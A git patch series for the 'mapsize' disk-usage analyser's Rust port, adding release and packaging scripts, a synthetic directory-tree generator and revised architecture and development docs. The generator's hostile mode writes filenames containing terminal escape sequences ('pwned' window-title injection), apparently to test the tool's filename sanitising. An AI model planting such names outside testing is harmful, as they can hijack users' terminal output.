Mac, or cargo-zigbuild and zig" >&2; status=1; continue; fi ;; + cross) have cross && have docker && cmd=(cross build) || + { echo "SKIPPED $want: needs cross and docker" >&2; status=1; continue; } ;; + esac + if ! "${cmd[@]}" --quiet --release --locked --target "$triple"; then + echo "FAILED $want ($triple)" >&2; status=1; continue + fi + cp -- "target/$triple/release/mapsize$ext" "$out/$name" + if [[ $triple == *-musl* ]] && have file; then + file -L "$out/$name" | grep -q 'static' || { echo "FAILED $want: not statically linked" >&2; status=1; continue; } + fi + echo "built $name ($triple)" +done +exit $status diff --git a/scripts/nfpm.sh b/scripts/nfpm.sh new file mode 100755 index 0000000..e822b90 --- /dev/null +++ b/scripts/nfpm.sh @@ -0,0 +1,20 @@ +#!/usr/bin/env bash +# Run the pinned nfpm packager, downloading and checksumming it on first use +# (into target/tools). Linux x86-64 and ARM64 hosts only. +set -euo pipefail +version=2.41.1 +case $(uname -m) in +x86_64) arch=x86_64 sum=b3cf95aa6dabed836d09ad7f0c190a13c74c5b1304db60846f0f702ee407f430 ;; +aarch64) arch=arm64 sum=17350a838c8e2c422c6e573ed379b18424565d2de8a2b1cb1b20211976124eb5 ;; +*) echo "nfpm.sh: unsupported host $(uname -m)" >&2; exit 1 ;; +esac +dir=$(cd "$(dirname "$0")/.." && pwd)/target/tools/nfpm-$version +if [[ ! -x $dir/nfpm ]]; then + mkdir -p "$dir" + tgz=$dir/nfpm.tar.gz + curl -fsSL -o "$tgz" "https://github.com/goreleaser/nfpm/releases/download/v$version/nfpm_${version}_Linux_$arch.tar.gz" + echo "$sum $tgz" | sha256sum -c --quiet + tar -xzf "$tgz" -C "$dir" nfpm + rm -f "$tgz" +fi +exec "$dir/nfpm" "$@" diff --git a/scripts/release.sh b/scripts/release.sh new file mode 100755 index 0000000..ceda299 --- /dev/null +++ b/scripts/release.sh @@ -0,0 +1,63 @@ +#!/usr/bin/env bash +# Turn the binaries from scripts/build.sh into release assets: one archive +# per binary (with README, CHANGELOG, LICENSE and the manual page), .deb, +# .rpm, .apk and Arch packages for the Linux binaries, and SHA256SUMS. +# +# scripts/release.sh VERSION [BIN_DIR [OUT_DIR]] # defaults: dist, dist/release +# +# VERSION (e.g. 1.3.0 or v1.3.0) must match Cargo.toml, which is what the +# binaries report. +set -euo pipefail +cd "$(dirname "$0")/.." +root=$PWD +version=${1:?usage: scripts/release.sh VERSION [BIN_DIR [OUT_DIR]]} +version=${version#v} +bins=$(cd "${2:-dist}" && pwd) +out=${3:-dist/release} +cargo_version=$(sed -n 's/^version = "\(.*\)"/\1/p' Cargo.toml | head -1) +[[ $version == "$cargo_version" ]] || { echo "release: VERSION $version does not match Cargo.toml ($cargo_version)" >&2; exit 1; } +rm -rf -- "$out" && mkdir -p -- "$out" +out=$(cd "$out" && pwd) +work=$(mktemp -d) +trap 'rm -rf -- "$work"' EXIT + +shopt -s nullglob +for bin in "$bins"/mapsize-*; do + b=$(basename "$bin") + osarch=${b#mapsize-} + osarch=${osarch%.exe} + os=${osarch%-*} arch=${osarch#*-} + ext=; [[ $os == windows ]] && ext=.exe + name=mapsize-$version-$os-$arch + mkdir -p "$work/$name" + install -m 0755 "$bin" "$work/$name/mapsize$ext" + cp README.md CHANGELOG.md LICENSE docs/mapsize.1 "$work/$name/" + if [[ $os == windows ]]; then (cd "$work" && zip -qr "$out/$name.zip" "$name") + else tar -C "$work" -czf "$out/$name.tar.gz" "$name"; fi + if [[ $os == linux ]]; then + nfarch=$arch; [[ $arch == arm ]] && nfarch=arm7 + cat >"$work/nfpm-$arch.yaml" <<-EOF2 + name: mapsize + arch: $nfarch + platform: linux + version: $version + release: 1 + maintainer: Andy Dixon + description: Interactive full-terminal disk usage analyser with a live treemap. + homepage: https://github.com/andydixon/mapsize + license: GPL-3.0-or-later + contents: + - src: $work/$name/mapsize + dst: /usr/bin/mapsize + file_info: {mode: 0755} + - src: $root/docs/mapsize.1 + dst: /usr/share/man/man1/mapsize.1 + file_info: {mode: 0644} + EOF2 + for fmt in deb rpm apk archlinux; do + scripts/nfpm.sh pkg -f "$work/nfpm-$arch.yaml" -p $fmt -t "$out/" >/dev/null + done + fi +done +(cd "$out" && sha256sum -- * >SHA256SUMS) +echo "$(($(ls "$out" | wc -l) - 1)) assets and SHA256SUMS in $out" -- 2.53.0 From 01785850bf96c2c5d2493906c93053da81636a39 Mon Sep 17 00:00:00 2001 From: Andy Dixon Date: Thu, 8 Oct 2026 19:54:23 +0100 Subject: [PATCH 04/12] Port treegen to a cargo example --- examples/treegen.rs | 210 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 210 insertions(+) create mode 100644 examples/treegen.rs diff --git a/examples/treegen.rs b/examples/treegen.rs new file mode 100644 index 0000000..a9ba27a --- /dev/null +++ b/examples/treegen.rs @@ -0,0 +1,210 @@ +//! Synthetic directory-tree generator for testing and benchmarking mapsize: +//! +//! cargo run --release --example treegen -- --out DIR [flags] +//! +//! Flags (`-flag` or `--flag`, value as `=V` or a separate argument): +//! --out DIR output directory (required, must not exist or be empty) +//! --directories N number of directories (1000) +//! --files N number of files (10000) +//! --max-depth N maximum directory depth (8) +//! --sparse make some large files sparse +//! --unicode use Unicode and unusual (but safe) names +//! --hostile include names with control characters/escape sequences (Unix only) +//! --max-size N largest regular file in bytes; sizes are log-uniform, content is written (1048576) +//! --seed N random seed; output is deterministic per seed (1) +//! --hotspots N directories that receive a large share of files (3) + +use std::fs::{self, OpenOptions}; +use std::io::Write; +use std::path::PathBuf; +use std::process::exit; +use std::time::Instant; + +const WORDS: &[&str] = &[ + "data", + "cache", + "backup", + "photos", + "src", + "build", + "logs", + "tmp", + "vm", + "media", + "docs", + "lib", + "node_modules", + "archive", +]; +const EXTS: &[&str] = &[ + ".txt", ".log", ".jpg", ".png", ".mp4", ".iso", ".qcow2", ".go", ".c", ".pdf", ".zip", + ".tar.gz", ".db", ".so", "", ".json", ".mkv", ".flac", +]; +const UNI: &[&str] = &[ + "日本語", + "Ünïcödé", + "emoji 🎉", + "Ελληνικά", + "кириллица", + "space name", + "quote'name", + "dash-name", +]; +const BOOLS: &[&str] = &["sparse", "unicode", "hostile"]; + +/// SplitMix64: tiny, fast and good enough for synthetic data. +struct Rng(u64); + +impl Rng { + fn next(&mut self) -> u64 { + self.0 = self.0.wrapping_add(0x9e37_79b9_7f4a_7c15); + let mut z = self.0; + z = (z ^ (z >> 30)).wrapping_mul(0xbf58_476d_1ce4_e5b9); + z = (z ^ (z >> 27)).wrapping_mul(0x94d0_49bb_1331_11eb); + z ^ (z >> 31) + } + fn n(&mut self, n: usize) -> usize { + (self.next() % n as u64) as usize + } + fn f64(&mut self) -> f64 { + (self.next() >> 11) as f64 / (1u64 << 53) as f64 + } + fn pick<'a>(&mut self, s: &[&'a str]) -> &'a str { + s[self.n(s.len())] + } +} + +fn fatal(msg: impl std::fmt::Display) -> ! { + eprintln!("treegen: {msg}"); + exit(1); +} + +fn usage() -> ! { + eprintln!("usage: treegen --out DIR [--directories N] [--files N] [--max-depth N] [--sparse] [--unicode] [--hostile] [--max-size N] [--seed N] [--hotspots N]"); + exit(2); +} + +fn name(r: &mut Rng, i: usize, unicode: bool, hostile: bool) -> String { + if hostile && r.n(50) == 0 { + format!("evil\x1b[31m{i}\x1b]0;pwned\x07") + } else if unicode && r.n(5) == 0 { + format!("{}-{i}", r.pick(UNI)) + } else { + format!("{}-{i}", r.pick(WORDS)) + } +} + +fn main() { + let mut out = None; + let (mut dirs, mut files, mut depth, mut max_size, mut seed, mut hotspots) = + (1000usize, 10000usize, 8usize, 1usize << 20, 1u64, 3usize); + let (mut sparse, mut unicode, mut hostile) = (false, false, false); + let mut args = std::env::args().skip(1); + while let Some(a) = args.next() { + let Some(flag) = a.strip_prefix("--").or_else(|| a.strip_prefix('-')) else { + usage() + }; + let (key, inline) = match flag.split_once('=') { + Some((k, v)) => (k, Some(v.to_string())), + None => (flag, None), + }; + if BOOLS.contains(&key) { + let on = match inline.as_deref() { + None | Some("true" | "1") => true, + Some("false" | "0") => false, + Some(v) => fatal(format!("invalid value {v:?} for -{key}")), + }; + *match key { + "sparse" => &mut sparse, + "unicode" => &mut unicode, + _ => &mut hostile, + } = on; + continue; + } + let v = inline + .or_else(|| args.next()) + .unwrap_or_else(|| fatal(format!("flag needs an argument: -{key}"))); + let num = || { + v.parse::() + .unwrap_or_else(|_| fatal(format!("invalid value {v:?} for -{key}"))) + }; + match key { + "out" => out = Some(PathBuf::from(&v)), + "directories" => dirs = num() as usize, + "files" => files = num() as usize, + "max-depth" => depth = num() as usize, + "max-size" => max_size = num() as usize, + "seed" => seed = num(), + "hotspots" => hotspots = num() as usize, + _ => usage(), + } + } + let Some(out) = out else { usage() }; + hostile &= cfg!(unix); + fs::create_dir_all(&out).unwrap_or_else(|e| fatal(e)); + if fs::read_dir(&out).is_ok_and(|mut d| d.next().is_some()) { + fatal(format!("{} is not empty", out.display())); + } + let mut r = Rng(seed); + let start = Instant::now(); + + // Pick a depth first, then a directory at that depth, so the tree is broad + // near the top instead of one giant preferential-attachment chain. + let mut all = vec![(out.clone(), 0usize)]; + let mut by_depth = vec![vec![0usize]]; + while all.len() < dirs + 1 { + let lv = &by_depth[r.n(by_depth.len())]; + let (parent, d) = all[lv[r.n(lv.len())]].clone(); + if d >= depth { + continue; + } + let p = parent.join(name(&mut r, all.len(), unicode, hostile)); + if fs::create_dir(&p).is_err() { + continue; // name collision; try again + } + all.push((p, d + 1)); + if d + 1 == by_depth.len() { + by_depth.push(Vec::new()); + } + by_depth[d + 1].push(all.len() - 1); + } + let hot: Vec = (0..hotspots).map(|_| r.n(all.len())).collect(); + // Incompressible, so allocation is real everywhere. + let buf: Vec = (0..max_size).map(|_| r.next() as u8).collect(); + let (mut bytes, mut created) = (0u64, 0usize); + for i in 0..files { + let d = if !hot.is_empty() && r.n(3) == 0 { + &all[hot[r.n(hot.len())]].0 + } else { + &all[r.n(all.len())].0 + }; + let n = name(&mut r, i, unicode, hostile); + let p = d.join(n + r.pick(EXTS)); + // Log-uniform sizes: many tiny files, a few large ones. + let mut size = (r.f64() * (max_size as f64).ln()).exp() as usize; + if r.n(20) == 0 { + size = 0; + } + let Ok(mut f) = OpenOptions::new().write(true).create_new(true).open(&p) else { + continue; + }; + if sparse && r.n(200) == 0 { + // Sparse: a large logical size with almost nothing allocated. + f.write_all(b"x") + .and_then(|_| f.set_len((1 + r.n(8) as u64) << 30)) + .unwrap_or_else(|e| fatal(e)); + } else if size > 0 { + f.write_all(&buf[..size]).unwrap_or_else(|e| fatal(e)); + bytes += size as u64; + } + created += 1; + if i % 100_000 == 0 && i > 0 { + eprintln!("{i} files…"); + } + } + eprintln!( + "created {} directories, {created} files ({bytes} logical bytes) in {:.2?}", + all.len() - 1, + start.elapsed() + ); +} -- 2.53.0 From c3ed83250b98ce689c0cc57f479ae05e662ce284 Mon Sep 17 00:00:00 2001 From: Andy Dixon Date: Thu, 8 Oct 2026 19:56:43 +0100 Subject: [PATCH 05/12] Docs: architecture, development and performance for the Rust implementation --- ARCHITECTURE.md | 145 +++++++++++++++++++++++------------------- DEVELOPMENT.md | 102 ++++++++++++++++------------- PERFORMANCE.md | 130 +++++++++++++++++++------------------ RUST-PORT-NOTES.md | 93 --------------------------- scripts/bench-scan.sh | 2 +- 5 files changed, 209 insertions(+), 263 deletions(-) delete mode 100644 RUST-PORT-NOTES.md diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md index c74210b..644bbf4 100644 --- a/ARCHITECTURE.md +++ b/ARCHITECTURE.md @@ -5,36 +5,40 @@ part relies on. It is kept in sync with the code; if they disagree, the code is wrong or this file is stale — fix one of them. ``` -cmd/mapsize CLI entry point, flag parsing, mode selection -cmd/treegen synthetic test-tree generator -internal/brand product name / file extensions (rename in one place) -internal/inventory flat node store, aggregation, indexes, categories -internal/scan bounded concurrent scanner (controller + workers) -internal/platform OS-specific metadata (build-tagged files) -internal/treemap squarified layout, LOD, spatial navigation (pure geometry) -internal/filter query lexer / parser / evaluator -internal/snapshot versioned binary snapshot format + comparison -internal/duplicate staged duplicate detection -internal/export JSON / CSV / text reports -internal/config settings, themes, JSON config file -internal/tui Bubble Tea model, canvas renderer, views, modals -internal/textutil display sanitising, width-aware truncation, units +src/main.rs CLI entry point, flag parsing +src/app.rs mode selection: TUI, reports, snapshots, comparison +src/brand.rs product name / file extensions (rename in one place) +src/inventory/ flat node store, aggregation, indexes, categories +src/scan.rs bounded concurrent scanner (controller + workers) +src/cancel.rs cancellation token shared by scans and background work +src/platform.rs OS-specific metadata and file operations (cfg blocks) +src/treemap/ squarified layout, LOD, spatial navigation (pure geometry) +src/filter/ query lexer / parser / evaluator +src/snapshot/ versioned binary snapshot format + comparison +src/duplicate.rs staged duplicate detection +src/export.rs JSON / CSV / text reports +src/config.rs settings, themes, JSON config file +src/tui/ event loop, model, canvas renderer, views, modals +src/textutil.rs display sanitising, width-aware truncation, units +examples/treegen synthetic test-tree generator +examples/bench in-process benchmarks ``` Dependency direction is strictly downward: `tui` → (`treemap`, `filter`, `inventory`, `scan`, …); `scan` → (`inventory`, `platform`); `treemap` depends -on nothing but the standard library. The TUI framework (Bubble Tea v2) is only -imported by `internal/tui` and `cmd/mapsize`. +on nothing but the standard library. The terminal library (crossterm) is only +used by `tui`. ## Inventory representation `inventory.Tree` is an append-only arena of `Node` records addressed by -`NodeID` (`uint32`). Nodes are stored in fixed-size chunks -(`[][]Node`, 65 536 nodes per chunk), so growing the arena never copies or +`NodeId` (`u32`). Nodes are stored in fixed-size chunks +(`Vec>`, 65 536 nodes per chunk), so growing the arena never copies or moves existing nodes and peak memory never doubles during growth. A node holds: parent ID, first-child / next-sibling IDs (an intrusive child -list — no per-directory slices), name (the single path component, not the full +list — no per-directory vectors), name (the single path component as raw +bytes, not the full path), kind, flags, own logical size, own allocated size, mtime, mode, uid/gid, link count, and aggregates (total logical, total allocated, file count, directory count, error count). Directory-only data — per-category byte @@ -42,7 +46,7 @@ totals used for colouring — lives in a side table indexed by a directory index so files do not pay for it. Full paths are never stored; `Tree.Path(id)` walks parents. Extensions are -interned into a small table and stored as a `uint16`. All sizes are `int64`. +interned into a small table and stored as a `u16`. All sizes are `i64`. Node IDs are stable for the lifetime of a `Tree`: nodes are never removed or reordered. A rescan produces a new `Tree`. This is what makes selection @@ -51,11 +55,11 @@ persistence trivial (see below). ## Scanner worker architecture ``` - +------------------ controller goroutine ------------------+ + +------------------ controller thread ---------------------+ | owns: Tree (write lock), pending FIFO of dir NodeIDs, | | hard-link table, visited-dir table | +----------------------------------------------------------+ - | jobs (bounded chan, cap = workers*2) ^ results (bounded chan) + | jobs (bounded channel, cap = workers*2) ^ results (bounded channel) v | worker 1 .. worker N (fixed pool, N from --workers / mode) ``` @@ -77,9 +81,9 @@ while the only consumer of that queue is also blocked. mapsize avoids it by construction: * Only the controller produces jobs. Workers only produce *results*. -* The controller's main loop is a single `select` that simultaneously offers - the next pending job to the bounded `jobs` channel *and* receives from the - bounded `results` channel. It never performs a blocking send without also +* The controller's main loop is a single `crossbeam_channel::Select` that + simultaneously offers the next pending job to the bounded `jobs` channel + *and* receives from the bounded `results` channel. It never performs a blocking send without also being ready to receive. Therefore a worker blocked on `results <-` is always eventually served, and the controller is never blocked on `jobs <-` alone. * Discovered-but-unscheduled directories wait in the controller's pending FIFO @@ -94,11 +98,12 @@ directory with 5 M entries neither balloons worker memory nor stalls the UI. Completion: the controller tracks `inflight` (dispatched directories whose final chunk has not arrived). The scan is finished when `pending` is empty and -`inflight == 0`. Cancellation (`context.Context`) stops dispatch immediately; -workers check the context between chunks and between entries, and the -controller drains outstanding results so no goroutine leaks. +`inflight == 0`. Cancellation (`cancel::Cancel`, which the controller also +selects on) stops dispatch immediately; workers check the token between +chunks, and the controller drains outstanding results and joins every +worker, so no thread leaks. -Stress tests (`internal/scan/scan_test.go`) run with 1 worker and job/result +Stress tests (`scan::tests`) run with 1 worker and job/result channel capacity 1 over trees with thousands of directories to prove progress under maximum backpressure. @@ -112,26 +117,27 @@ for a 1 M-file tree at depth 20 that is ~20 K ancestor updates instead of ~20 M. There is no reconciliation pass: totals are exact at every moment for the data seen so far. -The UI reads the tree under `Tree.RLock`; the controller applies batches of -results under `Tree.Lock`, holding it for at most a few milliseconds (it +The tree is shared as `Arc>`. The UI reads it under the read +lock; the controller applies batches of results under the write lock, holding it for at most a few milliseconds (it releases the lock between batches). This is the only lock in the data path. **Concurrency invariants** 1. Only the scan controller (or a snapshot loader before publication) mutates a `Tree`. -2. Every read of `Tree` node data from another goroutine holds `RLock`. +2. Every read of `Tree` node data from another thread holds the read lock. 3. Nodes are never deleted; a `NodeID` once observed stays valid. 4. Workers share nothing mutable except the bounded channels and atomic progress counters. -5. No goroutine ever takes `RLock` while already holding it. Go's - `RWMutex` blocks new readers once a writer waits, so a recursive read - lock can deadlock against the scan controller. The TUI takes the lock - once per entry point (`View`, `handleKey`, mouse handlers); helpers they - call assume it is held. Background commands (filter, duplicates, - snapshot save) take their own lock on their own goroutine. -6. After a scan finishes, the UI goroutine may become the writer (move to - trash updates aggregates under `Lock`). Trash is refused while scanning. +5. No thread ever takes the read lock while already holding it. The + standard `RwLock` may block new readers once a writer waits, so a + recursive read lock can deadlock against the scan controller. The TUI + takes the lock once per entry point (render, key and mouse handlers) and + passes `&Tree` to the helpers it calls. Background tasks (filter, + duplicates, snapshot save) take their own lock on their own thread. +6. After a scan finishes, the UI thread may become the writer (move to + trash updates aggregates under the write lock). Trash is refused while + scanning. ## Hard links and sizes @@ -166,31 +172,41 @@ releases the lock between batches). This is the only lock in the data path. ## TUI event flow ``` -scan controller ──(applies under Lock)──> Tree +scan controller ──(applies under write lock)──> Tree │ atomic progress counters ▼ -tea.Tick (10 Hz while scanning) ──> tickMsg ──> Update marks frame dirty -key/mouse/resize ──> Update ──> state change ──> frame dirty -View(): if dirty → RLock tree → layout (if layout dirty) → paint canvas → string +tick (10 Hz while scanning) ─────┐ +crossterm events (input thread) ─┼─> select ─> Model::update ─> state change ─> frame dirty +background task results ─────────┘ +render: if dirty → read-lock tree → layout (if layout dirty) → paint canvas → write changed lines ``` -There is never one message per file: the scanner does not talk to the UI at -all except for a single `scanDoneMsg`. The UI polls at a fixed rate. +`tui::run` puts the terminal in raw mode on the alternate screen and selects +over three crossbeam channels: terminal events from a dedicated input thread, +a timer tick, and messages from background tasks (filter, duplicates, +snapshot save, scan done). There is never one message per file: the scanner +does not talk to the UI at all except for the scan-done notification. The UI +polls its progress counters at a fixed rate. -`View()` is called by Bubble Tea after *every* `Update`. The model therefore -caches the rendered frame and only repaints when something visible changed. +The model caches the rendered frame and only repaints when something +visible changed; several updates in a row cost at most one render. Expensive per-directory work (sorting children by size) is cached per data version. During a scan the version advances at most every 400 ms, so the layout does not jitter at frame rate even though labels and counters update at the 10 Hz refresh. +A panic hook restores the terminal (leaves the alternate screen, disables +raw mode and mouse reporting) before the panic is reported; SIGTERM quits +cleanly. + ## Rendering: the canvas All drawing goes to an in-memory `Canvas` of cells (grapheme, fg, bg, attrs). -Views and modals paint into the canvas; the canvas is serialised to a string -with minimal SGR changes. Bubble Tea's renderer diffs frames and downsamples -true-colour to the detected profile (256 / 16 / none), so the drawing code +Views and modals paint into the canvas; the canvas is serialised with minimal +SGR changes, converted to the detected colour profile (truecolour / 256 / 16 / +none), and only the changed span of each changed line is written, inside a +synchronized-output block where the terminal supports it. The drawing code uses RGB throughout. For 256-colour terminals the canvas quantizes colours itself (redmean distance over the 6×6×6 cube and grey ramp, never the palette-dependent first 16 entries): the stock conversion maps dark tints to @@ -226,7 +242,7 @@ visible. Groups are selectable and inspectable. ## Spatial navigation algorithm -`treemap.Neighbour(rects, selected, dir)` is pure geometry: +`treemap::neighbour(blocks, selected, dir)` is pure geometry: 1. Candidates must lie in the requested half-plane: for RIGHT, `c.X ≥ sel.X + sel.W − tolerance` (with the candidate's centre to the right of the @@ -241,18 +257,18 @@ visible. Groups are selectable and inspectable. ## Terminal resize architecture -`tea.WindowSizeMsg` only records the new size and marks layout dirty. The next -`View()` recomputes panel geometry for the new size class (large / medium / +A resize event only records the new size and marks layout dirty. The next +render recomputes panel geometry for the new size class (large / medium / small / too-small), reruns the treemap layout for the new treemap rectangle -(never stretches old coordinates), and repaints. Because work happens only in -`View()` and the frame cache absorbs repeated calls, a storm of resize events +(never stretches old coordinates), and repaints. Because work happens only +at render time and the frame cache absorbs repeated calls, a storm of resize events costs at most one layout per rendered frame. Modal geometry is derived from the current size every frame, clamped to the screen, and becomes scrollable when content does not fit. ## Selection persistence -Selection is a `NodeID` (or, for the synthetic LOD group, `-1 - parentID`). +Selection is a `NodeId` (or, for the synthetic LOD group, `-1 - parent`). Until the user moves the selection it follows the largest block, which changes while a scan runs; after that it is sticky. After any relayout the renderer looks the ID up in the new rectangle list. If it is absent (filtered out, collapsed into a group, @@ -261,8 +277,8 @@ nearest visible ancestor, then the largest block. ## Modal architecture -A modal is a small interface: `Title()`, `Lines(width)`, `Footer()`, and -`HandleKey`. A generic frame renders any modal centred, clamped to the screen +A modal is a small trait: `title()`, `content(width)`, `footer()`, and +`key`. A generic frame renders any modal centred, clamped to the screen (min 1-cell margin), with a scrollable viewport when content exceeds height. The base screen is dimmed before the modal is painted. While a modal is open it receives all keys; `Esc` always closes it. @@ -286,7 +302,7 @@ No other package switches on `runtime.GOOS`. Filenames and snapshot contents are untrusted. * Every string that reaches the terminal passes through - `textutil.Sanitize`, which replaces C0/C1 control characters (including + `textutil::sanitize`, which replaces C0/C1 control characters (including ESC, CSI, BEL, DEL) with visible escapes (`\x1b`), replaces invalid UTF-8 with U+FFFD, and neutralises bidi override characters. The canvas also refuses control characters as a second line of defence. Internal names keep @@ -299,9 +315,10 @@ Filenames and snapshot contents are untrusted. (≤ 1 EiB) and node count (at most one node per byte of snapshot file, 1 Mi floor); caps the decompressed body at 64× the file size (decompression bombs fail fast); and verifies a SHA-256 trailer. Aggregates are recomputed with saturating arithmetic rather than trusted. -* No shell is ever invoked. "Open/reveal" and trash use direct `exec` with - argument vectors or native APIs; paths are passed as single arguments. +* No shell is ever invoked. "Open/reveal" and trash use `std::process::Command` + with argument vectors or native APIs; paths are passed as single arguments. * Permanent delete (headless only) checks the item's owner and type against - the scan and removes it through an `os.Root` on the parent directory, so - a symlink swapped in since the scan cannot redirect it. + the scan and removes it through descriptors opened from the parent + directory without following symlinks (`openat`/`unlinkat` with + `O_NOFOLLOW`), so a symlink swapped in since the scan cannot redirect it. * `--read-only` disables every mutating action in the UI. diff --git a/DEVELOPMENT.md b/DEVELOPMENT.md index 09e1ac3..2a397f2 100644 --- a/DEVELOPMENT.md +++ b/DEVELOPMENT.md @@ -1,61 +1,77 @@ # Development -Requires Go (see `go.mod`). No CGO, no external tools. +Requires a stable Rust toolchain (`rustup`); the dependencies are pinned in +`Cargo.lock`. No C toolchain beyond what Rust itself needs. ```sh -make build # bin/mapsize, bin/treegen -make test # go test ./... -make race # go test -race ./... -make vet fmt-check -make benchmark # go test -bench -make fuzz # short fuzz runs of snapshot / treemap / filter -make release # release archives and packages in bin/release +make build # target/release/mapsize +make test # cargo test --release +make lint # clippy, warnings are errors +make fmt-check # rustfmt +make benchmark # in-process benchmarks (layout, render, filter): examples/bench.rs +make treegen # synthetic test-tree generator: examples/treegen.rs +make release # local release assets in dist/release (see below) ``` +CI (`.github/workflows/ci.yml`) runs rustfmt and clippy, the tests on Linux +(x86-64 and ARM64), macOS (Intel and Apple silicon) and Windows, and +cross-builds every release target, running the ARM and RISC-V Linux +binaries under qemu. + +## Platforms + +`scripts/build.sh` builds `dist/mapsize-OS-ARCH`: + +| OS | Architectures | Rust target | Built with | +|---|---|---|---| +| Linux | amd64, arm64, 386, arm (v7), riscv64 | `*-unknown-linux-musl` (static) | cargo-zigbuild + zig | +| Windows | amd64, arm64 | `x86_64-pc-windows-gnu`, `aarch64-pc-windows-gnullvm` | cargo-zigbuild + zig | +| macOS | amd64, arm64 | `*-apple-darwin` | cargo on a Mac (or zigbuild) | +| FreeBSD, NetBSD | amd64 | `x86_64-unknown-{freebsd,netbsd}` | cross + Docker | + +Platform differences live in `src/platform.rs` (and `cfg` blocks where the +terminal code needs them); nothing else switches on the OS. + ## Releasing Example for 1.2.0; substitute the real version throughout. -1. Update the version in `internal/brand/brand.go` and `docs/mapsize.1`, - and add a `## 1.2.0` section to CHANGELOG.md. Commit. +1. Update the version in `Cargo.toml` (then `cargo check` to refresh + `Cargo.lock`) and `docs/mapsize.1`, and turn `## Unreleased` in + CHANGELOG.md into `## 1.2.0 — DATE`. Commit. 2. Tag and push: ```sh git tag -a v1.2.0 -m "mapsize 1.2.0" git push origin master v1.2.0 ``` -3. Build everything (archives, .deb/.rpm/.apk/Arch packages, SHA256SUMS - into `bin/release`; the first run downloads `nfpm`): - ```sh - make release VERSION=v1.2.0 - ``` -4. Publish the GitHub release with the changelog section as notes: - ```sh - awk '/^## 1.2.0/{f=1;next} /^## /{f=0} f' CHANGELOG.md > /tmp/notes.md - gh release create v1.2.0 --title v1.2.0 --notes-file /tmp/notes.md bin/release/* - ``` +3. The tag starts `.github/workflows/release.yml`, which builds every + target, packages them (archives, .deb/.rpm/.apk/Arch packages, + SHA256SUMS) and publishes the GitHub release with the changelog section + as its notes. Watch it with `gh run watch`. `make release` builds the + same assets locally into `dist/release`, for whichever targets the host + can build (`scripts/build.sh`, then `scripts/release.sh`). +4. Check the release page once the workflow has finished. 5. Update Homebrew. This needs the tag pushed (step 2), because it checksums GitHub's source tarball for that tag: ```sh - make brew-formula VERSION=v1.2.0 # writes bin/homebrew/mapsize.rb + make brew-formula VERSION=v1.2.0 # writes dist/homebrew/mapsize.rb git clone https://github.com/andydixon/homebrew-tap /tmp/tap - cp bin/homebrew/mapsize.rb /tmp/tap/Formula/mapsize.rb + cp dist/homebrew/mapsize.rb /tmp/tap/Formula/mapsize.rb git -C /tmp/tap commit -am "mapsize 1.2.0" && git -C /tmp/tap push ``` Users get it with `brew upgrade mapsize`. Template: `packaging/homebrew/mapsize.rb.in`. 6. Publish to the apt, dnf and pacman repository at repo.dixon.cx. This builds signed .deb, .rpm and Arch packages from the tag and rebuilds the - repository indexes (needs docker, gpg, apt-ftparchive and the signing key - in `~/.config/repo.dixon.cx/gnupg`): + repository indexes (needs cargo-zigbuild and zig, docker, gpg, + apt-ftparchive and the signing key in `~/.config/repo.dixon.cx/gnupg`): ```sh packaging/repo.sh v1.2.0 ``` The same script, with its own project block, publishes vault. -Always pass `VERSION=`: otherwise it comes from `git describe`, which only -matches the tag when HEAD is exactly the tagged commit. `make release` and -the Homebrew formula stamp the version into the binary; `make build` and -`go install` use the value in `brand.go`, which is why step 1 updates it. +The binary reports the version in `Cargo.toml`; `scripts/release.sh` +refuses to package a tag that does not match it. The snapshot format is stable at version 1: a format change must bump `snapshot.Version` and keep the reader for version 1. @@ -65,17 +81,16 @@ The snapshot format is stable at version 1: a format change must bump `treegen` creates synthetic trees: ```sh -bin/treegen --out /tmp/t --directories 50000 --files 1000000 --max-depth 20 --sparse --unicode -bin/mapsize /tmp/t +cargo run --release --example treegen -- --out /tmp/t --directories 50000 --files 1000000 --max-depth 20 --sparse --unicode +target/release/mapsize /tmp/t ``` ## Benchmarks ```sh -make benchmark # Go micro-benchmarks (layout, render, filter, scan) +make benchmark # in-process: layout, render, navigation, filters scripts/bench-scan.sh /path 1 2 4 8 # wall time and peak RSS per worker count sudo DROP_CACHES=1 scripts/bench-scan.sh /path # cold-cache runs -MAPSIZE_MEM_ROOT=/path go test ./internal/scan -run TestMemoryPerNode -v ``` Paste results into PERFORMANCE.md with the machine description. Never edit @@ -84,26 +99,25 @@ numbers by hand. ## Terminal restoration checks ```sh -MAPSIZE_DEBUG_PANIC=ui bin/mapsize . # panics on the first key press -MAPSIZE_DEBUG_PANIC=scanner bin/mapsize / # panics in a scanner goroutine +MAPSIZE_DEBUG_PANIC=ui target/release/mapsize . # panics on the first key press +MAPSIZE_DEBUG_PANIC=scanner target/release/mapsize / # panics in a scanner thread (aborts) stty -a # echo/icanon must be back on ``` ## Profiling -```sh -bin/mapsize --no-ui --cpuprofile cpu.prof --memprofile mem.prof /path -go tool pprof -http=: cpu.prof -``` - -`--log FILE --log-level debug` writes a log without disturbing the TUI. -Paths are logged only at `debug`/`trace` level. +Build with symbols (`CARGO_PROFILE_RELEASE_STRIP=false +CARGO_PROFILE_RELEASE_DEBUG=1 cargo build --release`) and use the platform +profiler, for example `perf record -g target/release/mapsize --no-ui /path` +on Linux or Instruments on macOS. `examples/bench.rs` times the hot UI paths +in-process. ## Layout See ARCHITECTURE.md. Rules of thumb: -* `internal/treemap` and `internal/filter` must not import UI packages. -* Only `internal/platform` may contain OS-specific code (build tags). -* All strings derived from filenames go through `textutil.Sanitize` before +* `treemap` and `filter` must not depend on `tui`. +* OS-specific code lives in `platform` (`cfg` attributes); the terminal code + has the only other `cfg` blocks. +* All strings derived from filenames go through `textutil::sanitize` before reaching a terminal. diff --git a/PERFORMANCE.md b/PERFORMANCE.md index 20438c7..796ec44 100644 --- a/PERFORMANCE.md +++ b/PERFORMANCE.md @@ -3,107 +3,115 @@ All numbers below were measured, not estimated. Re-run them on your own hardware before relying on them; filesystem caches dominate scan timings. -## Test machine (2026-10-02) +## Test machine (2026-10-08) | | | |---|---| | CPU | Intel Core i7-7700 @ 3.60 GHz, 4 cores / 8 threads | | RAM | 32 GiB | -| OS | Linux 7.0, Go 1.27.1 | +| OS | Linux 7.0, Rust 1.91.1 (release profile: LTO, one codegen unit) | | Filesystem | ext4 on Linux software RAID (`/dev/md2`) over two 7200 rpm SATA HDDs | +The host is shared; its load average was 5–9 during these runs. Each figure +is the median (and best) of 7 runs. 